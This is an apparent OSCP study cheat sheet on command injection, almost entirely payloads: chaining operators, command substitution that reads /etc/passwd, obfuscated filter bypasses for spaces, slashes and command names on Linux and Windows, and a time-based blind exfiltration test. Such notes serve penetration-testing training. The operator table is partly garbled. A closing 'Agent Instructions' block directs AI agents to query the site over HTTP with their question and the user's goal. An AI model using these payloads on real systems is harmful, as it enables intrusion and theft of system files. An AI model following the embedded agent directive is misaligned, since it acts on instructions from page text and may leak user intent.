> For the complete documentation index, see [llms.txt](https://oscp.nstsec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.nstsec.com/web-application-attacks/command-injection.md).

# Command Injection

## <mark style="color:red;">Command Chaining</mark> <a href="#command-chaining" id="command-chaining"></a>

```sh
<input>; ls
<input>& ls
<input>&& ls
<input>| ls
<input>|| ls
```

{% hint style="info" %}
Also try:

* Prepending a flag or parameter.
* Removing spaces (`<input>;ls`).
  {% endhint %}

#### Chaining Operators <a href="#chaining-operators" id="chaining-operators"></a>

Windows and Unix supported.

|       | Syntax          | Description                                      |
| ----- | --------------- | ------------------------------------------------ |
| `%0A` | `cmd1 %0A cmd2` | Newline. Executes both.                          |
| `;`   | `cmd1 ; cmd2`   | Semi-colon operator. Executes both.              |
| `&`   | `cmd1 & cmd2`   | Runs command in the background. Executes both.   |
| \`    | \`              | \`cmd1                                           |
| `&&`  | `cmd1 && cmd2`  | AND operator. Executes `cmd2` if `cmd1` succeds. |
| \`    |                 | \`                                               |

## <mark style="color:red;">I/O Redirection</mark> <a href="#io-redirection" id="io-redirection"></a>

```sh
> /var/www/html/output.txt
< /etc/passwd
```

## <mark style="color:red;">Command Substitution</mark> <a href="#command-substitution" id="command-substitution"></a>

Replace a command output with the command itself.

```sh
<input> `cat /etc/passwd`
```

```sh
<input> $(cat /etc/passwd)
```

## <mark style="color:red;">Filter Bypassing</mark> <a href="#filter-bypassing" id="filter-bypassing"></a>

### <mark style="color:blue;">Space filtering</mark> <a href="#space-filtering-spaceless-ifs" id="space-filtering-spaceless-ifs"></a>

**Linux**

```sh
cat</etc/passwd
# bash
${cat,/etc/passwd}
cat${IFS}/etc/passwd
v=$'cat\x20/etc/passwd'&&$v
IFS=,;`cat<<<cat,/etc/passwd`
```

**Windows**

```ps
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```

### <mark style="color:blue;">Slash (</mark><mark style="color:blue;">`/`</mark><mark style="color:blue;">) filtering</mark> <a href="#slash--filtering" id="slash--filtering"></a>

```sh
echo ${HOME:0:1} # /
cat ${HOME:0:1}etc${HOME:0:1}passwd
```

```sh
echo . | tr '!-0' '"-1' # /
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```

### <mark style="color:blue;">Command filtering</mark> <a href="#command-filtering" id="command-filtering"></a>

Quotes.

```sh
w'h'o'am'i
w"h"o"am"i
```

Slash.

```sh
w\ho\am\i
/\b\i\n/////s\h
```

At symbol.

```sh
who$@ami
```

Variable expansion.

```sh
v=/e00tc/pa00sswd
cat ${v//00/}
```

Wildcards.

```ps
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```

## <mark style="color:red;">Time Based Data Exfiltration</mark> <a href="#time-based-data-exfiltration-time-based-rce" id="time-based-data-exfiltration-time-based-rce"></a>

```sh
time if [ $(uname -a | cut -c1) == L ]; then sleep 5; fi
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oscp.nstsec.com/web-application-attacks/command-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
